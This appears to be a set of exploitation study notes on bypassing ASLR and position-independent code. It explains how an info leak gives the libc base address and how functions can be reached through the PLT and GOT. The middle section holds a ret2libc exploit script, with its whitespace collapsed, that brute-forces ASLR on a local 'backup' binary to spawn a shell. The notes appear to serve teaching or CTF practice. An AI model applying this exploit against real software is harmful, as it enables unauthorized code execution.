Makes it harder for an attacker to guess the address of the executable, stack, and loaded libs.
This can be bypassed if there is an Info Leak that discloses some value absolute address from the stack, executable or the loaded libs. This Info Leak must be the same source you use your gadgets from.
Getting the Base Address:
infoleak=0xf7cf4467#This is the Info Leak for a element from the stack that is located in libc
libc_base=infoleak-0x467#This is the offset that is learned from doing a strings of the libc version
# This is your base address which can be used for gadgets
Forked processes have the same offset as the parent. This means a leak of a forked process will get the information of the main process
fromsubprocessimportcallfromstructimportpackkey="45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"junk="A"*512#junk padding
libc=0xf7dc5000#libc base address. Take any from ldd ./backup.
system=pack("I",libc+0x3c7d0)#system offset added to libc base and convert to little Endian
exit=pack("I",libc+0x2fb10)#exit offset added to libc base
sh=pack("I",libc+0x17888a)#/bin/sh offset added to libc base
payload=junk+system+exit+sh#final payload
foriinrange(512):#for loop to execute 512 times
print(i)#counter
ret=call(["./backup","aaa",key,payload])#call ./backup with proper arguments
if(notret):#break on successful exploit
print"**************"breakelse:print"Exploit failed !"
If the PLT has a function that is from another module it can be used to leak an address in that library.
Steps to call function in another library:
Make a Call to the function in the PLT.
This will write the address of the function to the processes GOT
Dereference the pointer in the GOT.
This will be the function in that library.
Use an offset from this address to call another function in that library
But the PIC can be bypassed if the function you want to call is in the binary its self. You can use the executable part of the binary that calls that function to